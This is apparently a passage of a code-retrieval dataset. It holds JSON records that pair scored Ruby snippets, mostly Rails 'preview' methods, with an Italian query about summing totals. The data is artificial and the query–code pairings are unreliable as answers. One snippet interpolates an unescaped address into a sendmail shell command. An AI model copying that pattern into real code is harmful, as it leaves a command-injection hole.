\"eft#{params[:eft_id]}\"\n\t\t@sections = @template.eft_sections.collect{|x| x.section_name}\n\t\t@arms = @template.eft_arms\n\t\t@design_details = @template.eft_design_details.order(\"question_number ASC\")\n\t\t@baseline_characteristics = @template.eft_baseline_characteristics.order(\"question_number ASC\")\n\t\t@arm_details = @template.eft_arm_details.order(\"question_number ASC\")\n\t\t@outcome_details = @template.eft_outcome_details.order(\"question_number ASC\")\n\t\t@outcomes = @template.eft_outcome_names\n\t\t@adverse_columns = @template.eft_adverse_event_columns\n\t\t@quality_dimensions = @template.eft_quality_dimension_fields\n\t\t@quality_ratings = @template.eft_quality_rating_fields.order(\"display_number ASC\")\n\t\t\n\t\trender :layout=>false\n\tend", "title": "" }, { "docid": "fcd459d3562b101a7a3e437356007e79", "score": "0.56770056", "text": "def preview\n entity[:preview]\n end", "title": "" }, { "docid": "44ea80774c61b90bcaba6d74ea0f29c1", "score": "0.56751263", "text": "def preview\n frm.link(:text=>\"Preview\").click\n PreviewOverview.new(@browser)\n end", "title": "" }, { "docid": "44ea80774c61b90bcaba6d74ea0f29c1", "score": "0.56751263", "text": "def preview\n frm.link(:text=>\"Preview\").click\n PreviewOverview.new(@browser)\n end", "title": "" }, { "docid": "0733e33e5c0a53420824ea98ff2d4a9e", "score": "0.56744576", "text": "def preview_profile_pic(subject)\n message_div(subject).parent.image(:class=>\"person_icon\").src\n end", "title": "" }, { "docid": "fcb6e49325631dd6eb28d536616643d2", "score": "0.56726617", "text": "def preview(object)\n \n end", "title": "" }, { "docid": "90d1ee048d9acae5809bc5c12c957e3e", "score": "0.56694835", "text": "def visualize_email(email, recipient_address)\n tf = Tempfile.new('email_visualize')\n tf.puts email.to_s\n tf.close\n `cat #{tf.path} | sendmail -t #{recipient_address}`\nend", "title": "" }, { "docid": "86221619f2dbc1e6f99be6597dbfdaa4", "score": "0.5660144", "text": "def preview(**options); end", "title": "" }, { "docid": "d6fceb13866a36b6365d36bf6b9a10cd", "score": "0.5634344", "text": "def show_body\n prevent_browser_caching\n cms_edit_links!\n with_email_locale do\n _, body = mail_and_body\n render inline: body, layout: 'rails_email_preview/email'\n end\n end", "title": "" }, { "docid": "1f2ed06b63d1c4977a425d1de396581c", "score": "0.5627903", "text": "def preview\n return self.content[0...MAX_PREVIEW_LENGTH]\n end", "title": "" }, { "docid": "a2a0708a310d01982fbb003def48a342", "score": "0.5618996", "text": "def preview_post\n bodyArray = body.split(//)\n print bodyArray[0..4].join(\"\")\n end", "title": "" }, { "docid": "603c8b7667eeda1cb69b1ff59203a8d1", "score": "0.5600035", "text": "def preview\n words = self.body.split(' ')\n preview = words[0, 24].join(' ') + \"...\"\n return preview\n end", "title": "" }, { "docid": "603c8b7667eeda1cb69b1ff59203a8d1", "score": "0.5600035", "text": "def preview\n words = self.body.split(' ')\n preview = words[0, 24].join(' ') + \"...\"\n return preview\n end", "title": "" }, { "docid": "1a39fff727563e1e5412f5ca00d1f60f", "score": "0.55846703", "text": "def preview\n validate_arguments!\n error_if_no_local_bot_found\n\n response = api.update_bot(bot, parse_manifest)\n if response.is_a?(Turbot::API::FailureResponse)\n error_message(response)\n end\n\n response = api.destroy_draft_data(bot)\n if response.is_a?(Turbot::API::FailureResponse)\n error_message(response)\n end\n\n puts 'Sending to Turbot...'\n\n handler = Turbot::Handlers::PreviewHandler.new(bot, api)\n runner = TurbotRunner::Runner.new(working_directory, :record_handler => handler)\n rc = runner.run\n\n if rc == TurbotRunner::Runner::RC_OK\n response = handler.submit_batch\n if response.is_a?(Turbot::API::SuccessResponse)\n if handler.count > 0\n puts \"Submitted #{handler.count} records to Turbot.\\nView your records at #{response.data[:url]}\"\n else\n puts 'No records sent.'\n end\n else\n error_message(response)\n end\n else\n puts 'Bot failed!'\n end\n end", "title": "" }, { "docid": "22f73f87cbb13375b49f95b326bb182a", "score": "0.5577319", "text": "def preview\n @preview ||= Preview.new self\n end", "title": "" }, { "docid": "22f73f87cbb13375b49f95b326bb182a", "score": "0.5577319", "text": "def preview\n @preview ||= Preview.new self\n end", "title": "" }, { "docid": "85b4c928c0ba3aacc501a9e99a3cc205", "score": "0.5571335", "text": "def content_preview\n self.send(content_preview_method)\n end", "title": "" }, { "docid": "85b4c928c0ba3aacc501a9e99a3cc205", "score": "0.5571335", "text": "def content_preview\n self.send(content_preview_method)\n end", "title": "" }, { "docid": "85b4c928c0ba3aacc501a9e99a3cc205", "score": "0.5571335", "text": "def content_preview\n self.send(content_preview_method)\n end", "title": "" }, { "docid": "85b4c928c0ba3aacc501a9e99a3cc205", "score": "0.5571335", "text": "def content_preview\n self.send(content_preview_method)\n end", "title": "" }, { "docid": "98c6a79aff36e16054c44d46ceb02e91", "score": "0.55666906", "text": "def setup_preview\n \n end", "title": "" }, { "docid": "44f07cdffe8e3aa49281cb5d8d87f1a9", "score": "0.5558869", "text": "def edit\n @review_email = @review.order.emails.build({order: @review.order, email_type: 'review', uuid: @review.uuid })\n render layout: false\n end", "title": "" }, { "docid": "8da3fc5a1602e56bf7a622069bee3ee1", "score": "0.55586326", "text": "def preview\n preview_html=''\n preview_html = preview_documentation if options.meta # defined in meta.rb\n call_browser(\"data:text/html,#{CGI::escape(preview_html).gsub(/\\+/,'%20')}\")\n end", "title": "" }, { "docid": "72a9ad562c05fe59143ae7975d6ad740", "score": "0.55569446", "text": "def preview\n @preview ||= ROCrate::Preview.new(self)\n end", "title": "" }, { "docid": "4df5f86e163b8f74e08e443237cb134e", "score": "0.55553037", "text": "def preview_text(maxlength = 30)\n essence.preview_text(maxlength)\n end", "title": "" }, { "docid": "d02590da2d541720cfc9e50f188c9ac4", "score": "0.5554795", "text": "def email\n @subtitle = \"Email\"\n end", "title": "" }, { "docid": "c09afc6bcf6c0a647969a2e61a9e8782", "score": "0.55524045", "text": "def preview\n @template = Template.find(params[:id])\n auth!(action: :preview)\n\n if stale?(last_modified: @template.last_modified.utc, etag: @template, public: true)\n # Hide the fields if the hide_fields param is set,\n # show them by default though.\n @hide_fields = false\n if !params[:hide_fields].nil?\n @hide_fields = [true, \"true\", 1, \"1\"].include?(params[:hide_fields])\n end\n\n # Hide the field names if the hide_text param is set,\n # show them by default though.\n @hide_text = false\n if !params[:hide_text].nil?\n @hide_text = [true, \"true\", 1, \"1\"].include?(params[:hide_text])\n end\n\n @only_fields = []\n if !params[:fields].nil?\n @only_fields = params[:fields].split(',').map{|i| i.to_i}\n end\n\n jpg = Mime::Type.lookup_by_extension(:jpg) #JPG is getting defined elsewhere.\n if([jpg, Mime::PNG, Mime::HTML].include?(request.format))\n @image = nil\n @image = @template.preview_image(@hide_fields, @hide_text, @only_fields)\n\n # Resize the image if needed.\n # We do this post-field drawing because RMagick seems to struggle with small font sizes.\n if !params[:height].nil? || !params[:width].nil?\n require 'concerto_image_magick'\n @image = ConcertoImageMagick.resize(@image, params[:width].to_i, params[:height].to_i)\n end\n\n case request.format\n when jpg\n @image.format = \"JPG\"\n when Mime::PNG\n @image.format = \"PNG\"\n end\n\n data = nil\n data = @image.to_blob\n\n send_data data,\n filename: \"#{@template.name.underscore}.#{@image.format.downcase}_preview\",\n type: @image.mime_type, disposition: 'inline'\n else\n respond_to do |format|\n format.svg\n end\n end\n end\n end", "title": "" }, { "docid": "6ca2ba021b49dc42c4a8520927aad7a7", "score": "0.5534653", "text": "def preview\n show 10\n end", "title": "" }, { "docid": "47e9746a0d7aa24dae93513b9ea87cdd", "score": "0.55342185", "text": "def preview=(value)\n @preview = value\n end", "title": "" }, { "docid": "5fa3d3f7ee3f77048a0b4bda718ae25c", "score": "0.55338895", "text": "def preview()\n merge(preview: 'true')\n end", "title": "" }, { "docid": "cc395c791ed2a1faae1418b1fbfa9683", "score": "0.5533505", "text": "def preview\n @preview ||= Preview.new self\n end", "title": "" }, { "docid": "b3d75d032542fc706e7bfcca69449247", "score": "0.55282307", "text": "def to_url\n \"#{self.class.to_preview_dir}/#{to_filename}\"\n end", "title": "" }, { "docid": "f59acf49a5127ed076526972b0697a56", "score": "0.5526509", "text": "def set_Preview(value)\n set_input(\"Preview\", value)\n end", "title": "" }, { "docid": "131f5be72d8d91fe8bc37cf6065d9caf", "score": "0.55208904", "text": "def preview(attachment, options)\n Rails.application.routes.url_helpers.rails_representation_path(attachment.preview(options), only_path: true)\n end", "title": "" }, { "docid": "2bb2cc7c42c7921a12be8b52394022d9", "score": "0.55159503", "text": "def content_preview\n \"#{I18n.l(self.created_at.to_date, format: :long)} - #{self.body}\"\n end", "title": "" }, { "docid": "2bb2cc7c42c7921a12be8b52394022d9", "score": "0.55159503", "text": "def content_preview\n \"#{I18n.l(self.created_at.to_date, format: :long)} - #{self.body}\"\n end", "title": "" }, { "docid": "2bb2cc7c42c7921a12be8b52394022d9", "score": "0.55159503", "text": "def content_preview\n \"#{I18n.l(self.created_at.to_date, format: :long)} - #{self.body}\"\n end", "title": "" }, { "docid": "d717db95361c1aa70ac0a8a35a3379fc", "score": "0.55143946", "text": "def preview_sender(subject)\n message_div(subject).div(:class=>\"inbox_name\").button.text\n end", "title": "" }, { "docid": "c66391f9adcbe7a9ac9bb68c18c0e488", "score": "0.55132204", "text": "def file_preview\n lines = File.readlines(@current_failure.file_name)\n\n lines.insert(\n @current_failure.line_number + 1,\n \"#{indentation_on_failure_line(lines)}^^^ #{@current_failure.message.gsub(/(\\[\\d;\\d{2}m|\\[0m)/, '')}\"\n )\n\n content = lines[@current_failure.line_number - 5..@current_failure.line_number + 5].join(\"\\n\")\n puts content\n end", "title": "" }, { "docid": "8ba99c9c3a36c8aa22be56372e0843a9", "score": "0.5512398", "text": "def resume_received(resume)\n @resume = resume\n mail :to => 'zzpf@163.com', :subject => '收到一份新简历'\n end", "title": "" }, { "docid": "2387b560e7fa723e123a41444cd636a4", "score": "0.549777", "text": "def preview\n \t# get the rich text html output, remove tags, then truncate for preview\n \ttruncate(strip_tags(text_content), :length => 140 )\n end", "title": "" }, { "docid": "14898447ba9d5b77d8e5d662eceb8d83", "score": "0.5489272", "text": "def proposal_email(user, rate, description, name, walker_num, walker_mail)\n \t@user = user\n \t@proposal_rate = rate\n \t@proposal_description = description\n \t@walker_name = name\n \t@walker_phone = walker_num\n \t@walker_email = walker_mail\n \tmail(to: @user.email, subject: \"You received a new proposal\")\n end", "title": "" }, { "docid": "c66982e9b92187ae09e9fba27b9f91f9", "score": "0.54892075", "text": "def preview\n # mockup our models for preview.\n @post = Post::ViewAdapter.new(post_repo.create)\n @post.assign_attributes(params[:post])\n @post.user_id = monologue_current_user.id\n @post.published_at = Time.zone.now\n\n # render it exactly as it would display when live.\n render \"/monologue/posts/show\", layout: Monologue.layout || \"/layouts/monologue/application\"\n end", "title": "" }, { "docid": "cbfaf93e8dfde016fae0186e7ae256c8", "score": "0.5485324", "text": "def preview\n frm.button(:value=>\"Preview\").click\n @@file_number=0\n AssignmentStudentPreview.new(@browser)\n end", "title": "" }, { "docid": "b8f155c6eabd307c5e651fbb77ce77db", "score": "0.5475113", "text": "def preview_mass(access_token, preview_hash)\n url = 'https://api.weixin.qq.com/cgi-bin/message/mass/preview'\\\n \"?access_token=#{access_token}\"\n Helper.http_post(url, preview_hash.to_json)\n end", "title": "" }, { "docid": "181ccfe0a1c16aaf979b3f8814a59154", "score": "0.5474295", "text": "def preview_body\n snippet = body[0..10]\n puts \" #{snippet} \"\n end", "title": "" }, { "docid": "6e3ce3bdf7eacbf8e674728ff677facc", "score": "0.546386", "text": "def body_preview=(value)\n @body_preview = value\n end", "title": "" }, { "docid": "867ae405b291ef476e91b6e9f8d719b5", "score": "0.54636204", "text": "def preview\n frm().button(:value=>\"Preview\").click\n PreviewBloggerPost.new(@browser)\n end", "title": "" }, { "docid": "867ae405b291ef476e91b6e9f8d719b5", "score": "0.54636204", "text": "def preview\n frm().button(:value=>\"Preview\").click\n PreviewBloggerPost.new(@browser)\n end", "title": "" }, { "docid": "c8f6272411b27c30475682bbf50da6ea", "score": "0.5460001", "text": "def link_to_preview(text, preview_url, options={})\n modal_tag text, \n render(\"previews/modal_preview_status\", title: text.capitalize), \n class: \"preview-link #{options[:class]}\", \n data: {'preview-url' => preview_url},\n title: \"Preview\"\n end", "title": "" }, { "docid": "f7c4b34ba7dbd575fa6d406a8b13704c", "score": "0.5453616", "text": "def edit\n @error = flash[:error] || \"\"\n @errorline = flash[:errorline] || 0\n @template = flash[:template] || File.open(Rails.root.join(\"app\", \"views\", \"billing\", \"reminder_email.html.haml\").to_s, 'r') do |f|\n template = \"\"\n while line = f.gets\n template += line\n end\n template\n end\n end", "title": "" }, { "docid": "b7685a8cc700946c2385e6dd2885d24c", "score": "0.5452615", "text": "def edit\n @error = flash[:error] || \"\"\n @errorline = flash[:errorline] || 0\n @template = flash[:template] || File.open(Rails.root.join(\"app\", \"views\", \"billing\", \"bill_email.html.haml\").to_s, 'r') do |f|\n template = \"\"\n while line = f.gets\n template += line\n end\n template\n end\n end", "title": "" }, { "docid": "6121ad8cd0bd8084487c7cdbebde86ac", "score": "0.5451247", "text": "def preview_name; end", "title": "" }, { "docid": "50a3d580ae799e899a11a7f6f61fcc88", "score": "0.54503006", "text": "def content_preview\n self.body\n end", "title": "" }, { "docid": "50a3d580ae799e899a11a7f6f61fcc88", "score": "0.54503006", "text": "def content_preview\n self.body\n end", "title": "" }, { "docid": "50a3d580ae799e899a11a7f6f61fcc88", "score": "0.54503006", "text": "def content_preview\n self.body\n end", "title": "" }, { "docid": "fd2fa4ca5a6f36e56176aa5754265e76", "score": "0.5447555", "text": "def preview_text\n text = \"\"\n begin\n my_contents = my_description[\"contents\"]\n unless my_contents.blank?\n content_flagged_as_preview = my_contents.select{ |a| a[\"take_me_for_preview\"] }.first\n if content_flagged_as_preview.blank?\n content_to_take_as_preview = my_contents.first\n else\n content_to_take_as_preview = content_flagged_as_preview\n end\n preview_content = self.contents.select{ |content| content.name == content_to_take_as_preview[\"name\"] }.first\n unless preview_content.blank?\n if preview_content.essence_type == \"EssenceRichtext\"\n text = preview_content.essence.stripped_body.to_s\n elsif preview_content.essence_type == \"EssenceText\"\n text = preview_content.essence.body.to_s\n elsif preview_content.essence_type == \"EssencePicture\"\n text = (preview_content.essence.picture.name rescue \"\")\n elsif preview_content.essence_type == \"EssenceFile\" || preview_content.essence_type == \"EssenceFlash\" || preview_content.essence_type == \"EssenceFlashvideo\"\n text = (preview_content.essence.file.name rescue \"\")\n else\n text = \"\"\n end\n else\n text = \"\"\n end\n end\n rescue\n logger.error(\"#{$!}\\n#{$@.join('\\n')}\")\n text = \"\"\n end\n text.size > 30 ? text = (text[0..30] + \"...\") : text\n text\n end", "title": "" }, { "docid": "ed65161c3763683fd87a06afc3ace79c", "score": "0.5442351", "text": "def preview\n # Needed to carry a previous campaign ID through for redirect back to campaign once complete. \n @campaign_id = params[:campaign_id] \n\n # pull in the values from parameters\n \t@campaign \t= params[:grcid]\n \t@env \t\t= params[:env]\n \t@brand \t\t= params[:brand]\n \t@platform \t= params[:platform]\n\n # pull in the imported text from field\n \t@imported_data \t= params[:offerdata]\n\n # split data on new lines (breaks data into rows)\n \t@parsed_data \t= @imported_data.split(\"\\n\")\n\n # create empty preview collection for preview page (holds rows)\n \t@preview = [] \n \t@parsed_data.each do |item|\n # split data on tabs (breaks rows into cells)\n \t\titem = item.split(\"\\t\")\n \t\titem.each do |entry|\n # clean up whitespace\n \t\t\tentry.strip! \n \t\tend\n\n \t\tif(item[0] != \"OfferCode\") # ignore headers if present\n\t \t\t@preview.push(item) # submit row to preview collection\n\t \tend\n \tend\n end", "title": "" }, { "docid": "ccc88215c57696890fe589471a7a98d3", "score": "0.54393756", "text": "def live_preview(line_id)\n @io << @templates[:live_preview].result(binding)\n end", "title": "" }, { "docid": "10775c1162dd921da81a2f98e79fbe99", "score": "0.5439063", "text": "def preview(matrixname)\n frm.table(:class=>\"listHier lines nolines\").tr(:text=>/#{Regexp.escape(matrixname)}/).link(:text=>\"Preview\").click\n end", "title": "" }, { "docid": "10775c1162dd921da81a2f98e79fbe99", "score": "0.5439063", "text": "def preview(matrixname)\n frm.table(:class=>\"listHier lines nolines\").tr(:text=>/#{Regexp.escape(matrixname)}/).link(:text=>\"Preview\").click\n end", "title": "" }, { "docid": "08aef130e2006dda7fe1c5a2f3f11124", "score": "0.54388857", "text": "def preview=(preview)\n @preview = claim(preview)\n end", "title": "" }, { "docid": "e032bcb3f29c6be67784b0ddff4d8ba9", "score": "0.54336137", "text": "def bar_preview\n UserMailer.bar(User.first)\n end", "title": "" }, { "docid": "786f9b527bb7e77fd7bf1f81e715062f", "score": "0.5430166", "text": "def preview\n # mockup our models for preview.\n @post = Monologue::Post.new post_params\n @post.user_id = monologue_current_user.id\n @post.published_at = Time.zone.now\n # render it exactly as it would display when live.\n render \"/monologue/posts/show\", layout: Monologue::Config.layout || \"/layouts/monologue/application\"\n end", "title": "" }, { "docid": "786f9b527bb7e77fd7bf1f81e715062f", "score": "0.5430166", "text": "def preview\n # mockup our models for preview.\n @post = Monologue::Post.new post_params\n @post.user_id = monologue_current_user.id\n @post.published_at = Time.zone.now\n # render it exactly as it would display when live.\n render \"/monologue/posts/show\", layout: Monologue::Config.layout || \"/layouts/monologue/application\"\n end", "title": "" }, { "docid": "1967b2b99c9ac21426badc4365f22eb0", "score": "0.542868", "text": "def to_display\n email_message.display_to\n end", "title": "" }, { "docid": "f42b6f19bf7506694927267b83d79e8e", "score": "0.5425229", "text": "def get_email_campaign_preview(campaign_id)\n Services::EmailMarketingService.get_campaign_preview(campaign_id)\n end", "title": "" } ]
5f3390f1a417131e1820e69d753198b4
aggiunge l'oro al totale
[ { "docid": "dc7cb3bde69a287b93697ff9c233af01", "score": "0.0", "text": "def gain_total_gold(n)\n @total_gold = 0 if @total_gold == nil\n @total_gold += n\n H87_Achievements.check(3)\n H87_Achievements.check(4)\n end", "title": "" } ]
[ { "docid": "aeacd6f3e5929beb898c11428de2997e", "score": "0.7414124", "text": "def totals(t)\n end", "title": "" }, { "docid": "bd26e1e8728da0de79111310b45e4343", "score": "0.7207139", "text": "def terreno_total\n\t\tsuma = 0\n\n\t\t@terreno.each do |i|\n\t\t\tsuma += i\n\t\tend\n\n\t\tsuma = suma.round(2)\n\tend", "title": "" }, { "docid": "282b7421ac9ee28dbeac0f1862663936", "score": "0.71948767", "text": "def valor_total_titulos(tamanho = 13)\n value = pagamentos.inject(0.0) { |sum, pagamento| sum += pagamento.valor }\n sprintf('%.2f', value).delete('.').rjust(tamanho, '0')\n end", "title": "" }, { "docid": "322457968c66cf6e46808ebb91150055", "score": "0.7179", "text": "def total\n precio_unitario * cantidad\n end", "title": "" }, { "docid": "322457968c66cf6e46808ebb91150055", "score": "0.7179", "text": "def total\n precio_unitario * cantidad\n end", "title": "" }, { "docid": "14a51e4712b1f16871155be4184fba68", "score": "0.71705925", "text": "def total\n total = 0\n @products.each do |key, value|\n total += value\n end\n grand_total = (total * 1.075).round(2)\n return grand_total\n end", "title": "" }, { "docid": "30cba691e76a94210eb4f4133f4a60ad", "score": "0.71508175", "text": "def total; end", "title": "" }, { "docid": "30cba691e76a94210eb4f4133f4a60ad", "score": "0.71508175", "text": "def total; end", "title": "" }, { "docid": "30cba691e76a94210eb4f4133f4a60ad", "score": "0.71508175", "text": "def total; end", "title": "" }, { "docid": "30cba691e76a94210eb4f4133f4a60ad", "score": "0.71508175", "text": "def total; end", "title": "" }, { "docid": "30cba691e76a94210eb4f4133f4a60ad", "score": "0.71508175", "text": "def total; end", "title": "" }, { "docid": "30cba691e76a94210eb4f4133f4a60ad", "score": "0.71508175", "text": "def total; end", "title": "" }, { "docid": "30cba691e76a94210eb4f4133f4a60ad", "score": "0.71508175", "text": "def total; end", "title": "" }, { "docid": "2b1b2aa657863461ffa3daa2da5ee9b2", "score": "0.71256775", "text": "def total\n total = ((@products.values.sum) * 1.075).round(2)\n end", "title": "" }, { "docid": "70890cd6148bf0ae0145a75a354e01dc", "score": "0.71166736", "text": "def Terreno_total\n\t\tr = 0\n n = @alimentos.head\n i = @gramos.head\n\n while !n.nil?\n\n r += ((n.value.terreno)*(i.value/100))\n n = n.next\n i = i.next\n end\n\n return (r).round(2)\n\tend", "title": "" }, { "docid": "831f894a1297d756515e7c94e5fad6af", "score": "0.70945215", "text": "def metrosCalculo()\n \n metros = 0\n index = 0\n @listaAlimentos.each do | x |\n index += 1\n y = @listaGramos.pos( index )\n metros += ( ( x.terrenoAño / 100 ) * y )\n end\n metros.round()\n end", "title": "" }, { "docid": "156215137cfdf0bf96d04677215c6a66", "score": "0.7083427", "text": "def total\n total!\n end", "title": "" }, { "docid": "fb0eb4eb55fd2eeda086cbcb5691ab7c", "score": "0.70705336", "text": "def total\n total = (@products.values.sum * 1.075).round(2)\n\n return total\n end", "title": "" }, { "docid": "e1a2b86fd79a6a712935474f65e5fdb9", "score": "0.706918", "text": "def total\n\t\tt = 0\n\t\tself.items.each do |item|\n\t\t\tt+=item.price\n\t\t\t\n\t\tend\n\t\tt\n\tend", "title": "" }, { "docid": "f1fd21687b2ed734daf28585a6a48797", "score": "0.7066024", "text": "def calcular_promedio\n\t\tsuma = 0\n\t\tfor venta in ultimas_ventas\n\t\t\tsuma+=venta.valor\n\t\tend\n\t\treturn suma/ultimas_ventas.length\n\tend", "title": "" }, { "docid": "ded84275f60df2d3cbc49a8277a6d1e5", "score": "0.7062681", "text": "def total \n return 0 if @products.empty?\n\n (@products.values.sum * 1.075).round(2)\n end", "title": "" }, { "docid": "13a14c3a6e5faec5a151f74356fb58cd", "score": "0.70596725", "text": "def total\n @base+@karma\n end", "title": "" }, { "docid": "970278dc205a7a36e4e0cb0836d11b5c", "score": "0.7058245", "text": "def total\n total = 0\n @products.each_value do |value|\n total += value\n end\n\n total = total.to_f\n total = (total * 0.075) + total\n\n return 0 if products == {}\n return total.round(2)\n \n end", "title": "" }, { "docid": "c057425608b9f7f14c21aa3bb71d78c3", "score": "0.70535094", "text": "def total\n return (@products.values.sum * 1.075).round(2)\n end", "title": "" }, { "docid": "9dbacbb5d720fe4cdf01c253d13602e1", "score": "0.7044972", "text": "def total\n # no op\n end", "title": "" }, { "docid": "d8601205687aed22ddafc587c8d8cb98", "score": "0.7022727", "text": "def calc_totales\n \n subt = 0.00\n totivatras = 0.00\n totiepstras = 0.00\n totivaret = 0.00\n totisrret = 0.00\n \n self.conceptos.each do |concepto|\n \n concepto.calc_importe\n subt += concepto.importe\n \n if self.descuento.nil?\n self.descuento = 0.00\n end\n unless concepto.ivatrasladado.nil?\n totivatras += (concepto.importe * concepto.ivatrasladado / 100.00)\n end\n unless concepto.iepstrasladado.nil?\n totiepstras += (concepto.importe * concepto.iepstrasladado / 100.00)\n end\n unless concepto.ivaretenido.nil?\n totivaret += (concepto.importe * concepto.ivaretenido / 100.00)\n end\n unless concepto.isrretenido.nil?\n totisrret += (concepto.importe * concepto.isrretenido / 100.00)\n end\n \n end\n \n self.subtotal = subt\n self.totalimpuestostrasladados = totivatras + totiepstras\n self.totalimpuestosretenidos = totivaret + totisrret\n self.total = self.subtotal - (self.subtotal * self.descuento / 100.00) + self.totalimpuestostrasladados - self.totalimpuestosretenidos\n \n end", "title": "" }, { "docid": "2f1a4b3f4c02807ab055f9ce69292b7d", "score": "0.6981805", "text": "def running_total\n run_total = 0\n self.chores.where(completed: true).each do |chore|\n run_total += chore.points\n end\n \n self.total = run_total\n end", "title": "" }, { "docid": "2f1a4b3f4c02807ab055f9ce69292b7d", "score": "0.6981805", "text": "def running_total\n run_total = 0\n self.chores.where(completed: true).each do |chore|\n run_total += chore.points\n end\n \n self.total = run_total\n end", "title": "" }, { "docid": "0672dfca4d05cd8c663c862b88393e31", "score": "0.6969158", "text": "def total\n sum = 0\n total = 0\n @products.each_value do |price|\n sum += price\n end\n return total = sum + (sum * 0.075).round(2)\n end", "title": "" }, { "docid": "b767f6f578052cebeefb13554d8857fe", "score": "0.6962909", "text": "def vctCalculo()\n\n vct = 0\n index = 0\n @listaAlimentos.each do | x |\n index += 1\n y = @listaGramos.pos( index )\n vct += ( ( x.valorEnergetico / 100 ) * y )\n end\n vct.round()\n end", "title": "" }, { "docid": "911aec60d6dd2f7ee9fba52f0b04a056", "score": "0.6959531", "text": "def total\n end", "title": "" }, { "docid": "776afbd4f2c28b076545bff06d126201", "score": "0.6955135", "text": "def Gramos_total\n\t\tr = 0\n n = @gramos.head\n\n\n\t\twhile !n.nil? \n\n\t\t\tr += n.value \n n = n.next\n end\n\n\t\t(r).round(2)\n\tend", "title": "" }, { "docid": "2f3cf8ba6ba83124f32295448171f565", "score": "0.6951859", "text": "def calcular_promedio(calificaciones)\n puts \"promedio\" \n \n suma =0\n calificaciones.each do |value|\n suma += value\n end\n\n promedio = suma / calificaciones.count\n\nend", "title": "" }, { "docid": "b46d8306442629254f87a836be7a1021", "score": "0.6950072", "text": "def calcula_total(primeiro, segundo)\n tot1 = 0\n primeiro.each{ |t| tot1 += t.total.to_i }\n tot2 = 0\n segundo.each{ |t| tot2 += t.total.to_i }\n totais = (tot1+tot2)\n percentage = (totais > 0) ? (100*tot1/totais) : 0\n return \"#{tot1} (#{number_to_percentage(percentage, :precision => 0 )}) \"\n end", "title": "" }, { "docid": "497986ffb1b9148209363800d55b97b6", "score": "0.692709", "text": "def total\r\n\t\tthe_total = 0\r\n\t\titems.each do |cur_item|\r\n\t\t\tthe_total += cur_item.total\r\n\t\tend\r\n\t\tthe_total\r\n\tend", "title": "" }, { "docid": "182c58cc2152540c18b5148efe09a8dd", "score": "0.6926027", "text": "def gastoEnergeticoTotal()\n \t(self.gastoEnergeticoBasal() + self.efectoTermogeno() + self.gastoActividadFisica()).round(2)\n \tend", "title": "" }, { "docid": "96f274b6c58d2a1fb94f5a0fbde0a367", "score": "0.6901578", "text": "def total\n a = @results.compact.inject({\n :name => @name,\n :kill => 0,\n :death => 0,\n :sui => 0,\n :tk => 0,\n :eff => 0,\n :dg => 0,\n :dr => 0,\n :td => 0,\n :score => 0,\n :rate => 0\n }) do |r,i|\n [:kill,:death,:sui,:tk,:eff,:dg,:dr,:td,:score].each do |l|\n r[l] += i[l]\n end\n r\n end\n a[:rate] = (a[:dg].to_i-a[:dr].to_i)/100.0\n a[:kd] = a[:kill].to_f / a[:death].to_f\n a\n end", "title": "" }, { "docid": "261139a91f4ccc9d36ea07809c93649d", "score": "0.6898662", "text": "def total_amount\n total = 0\n self.teams.each do |team|\n total = total + team.amount_in_cents\n end\n total / 100\n end", "title": "" }, { "docid": "22d17fe17b4f7973bdfb9dba6643c998", "score": "0.68910843", "text": "def total\n return @products.sum { |product, value| (\"%.2f\" % (value * 1.075)).to_f }\n end", "title": "" }, { "docid": "4eba0c95d0710bda291d0bdef3d5a995", "score": "0.68895364", "text": "def total\n return 0 if @products.empty?\n\n total = @products.values.sum\n total += (total * 0.075)\n return total.round(2)\n end", "title": "" }, { "docid": "820ae34f8edd668df02081399a01d7f3", "score": "0.6888379", "text": "def totals; @lp.totals; end", "title": "" }, { "docid": "be4ce7c7d08ae607e1395aac4ec9793a", "score": "0.6884969", "text": "def total_calc\n packages.sum(&:expected_revenue)\n end", "title": "" }, { "docid": "5db9e277bd3b4efa4037997d224b17f4", "score": "0.6882398", "text": "def total\n sum = @products.values.inject(0) { |a, b| a + b }\n total = (sum + (sum * 0.075)).round(2)\n return total\n end", "title": "" }, { "docid": "a457cb3b7a9f6aa020cff319326e22bc", "score": "0.6878244", "text": "def total\n @total\n end", "title": "" }, { "docid": "a457cb3b7a9f6aa020cff319326e22bc", "score": "0.6878244", "text": "def total\n @total\n end", "title": "" }, { "docid": "a457cb3b7a9f6aa020cff319326e22bc", "score": "0.68777734", "text": "def total\n @total\n end", "title": "" }, { "docid": "cf17a1567de042c04c75d8e2abd75749", "score": "0.6876625", "text": "def total\n\t\t#suma = 0\n\t\t#products.each do |product|\n\t\t#\tsuma +=product.pricing\n\t#\tend\n\t#\tsuma\n\t\tproducts.sum(:pricing)\n\tend", "title": "" }, { "docid": "89eef1106106c97df8b141255a3f27e6", "score": "0.6868487", "text": "def total\n sum = @products.values.sum\n tax = sum * 0.075\n total = (sum + tax)\n return total\n end", "title": "" }, { "docid": "33fe26cc9efdcddd10e18d0ca696dc44", "score": "0.68651074", "text": "def total()\n total_amount = 0.0\n @products.each do |product, price|\n if @products.empty?\n total_amount = 0.0\n else total_amount += price.to_f \n end\n end\n total_amount = (total_amount * 1.075)\n return (sprintf(\"%.2f\", total_amount).to_f)\n end", "title": "" }, { "docid": "ed1d98ec27b239788281d8028507b368", "score": "0.6859055", "text": "def total\n\t\t0.0\n\tend", "title": "" }, { "docid": "5c7a4bf20598f8e8b91ae8c5ec895119", "score": "0.6857227", "text": "def total_abonado\n movimientos.sum(:monto)\n end", "title": "" }, { "docid": "573cd1dd375819d2b59367b4a5854b96", "score": "0.68537986", "text": "def total\n tax = 0.075\n prices = products.values.sum\n grand_total = (prices * (1+tax)).round(2)\n return grand_total\n end", "title": "" }, { "docid": "f2bb629e98be1254a6a0bf075aed4009", "score": "0.6850607", "text": "def valorCaloricoTotal\n\t\tresult = 0\n\t\tplato.each{|i| result += i.valor_energetico}\n\t\tresult\n\tend", "title": "" }, { "docid": "1c6e09edeb21202c5ea2de41c84c31c1", "score": "0.68499", "text": "def standart_total(product, count)\n product['price'] * count\n end", "title": "" }, { "docid": "caee3fd80cb9bfc96ca9fb9cebb2c922", "score": "0.6844962", "text": "def total\n return @items.reduce(0) { |t, a | t + a.montant }\n end", "title": "" }, { "docid": "2d73f833f49d33977d40c14eab5a8a11", "score": "0.6843527", "text": "def sumar_montos\n acum = 0\n @lis_products = Sale::ProductQuotation.where(sale_quotation_id: self.id)\n @lis_products.each do |product|\n product.quantity.times do\n acum = acum + product.product_product.price\n end\n 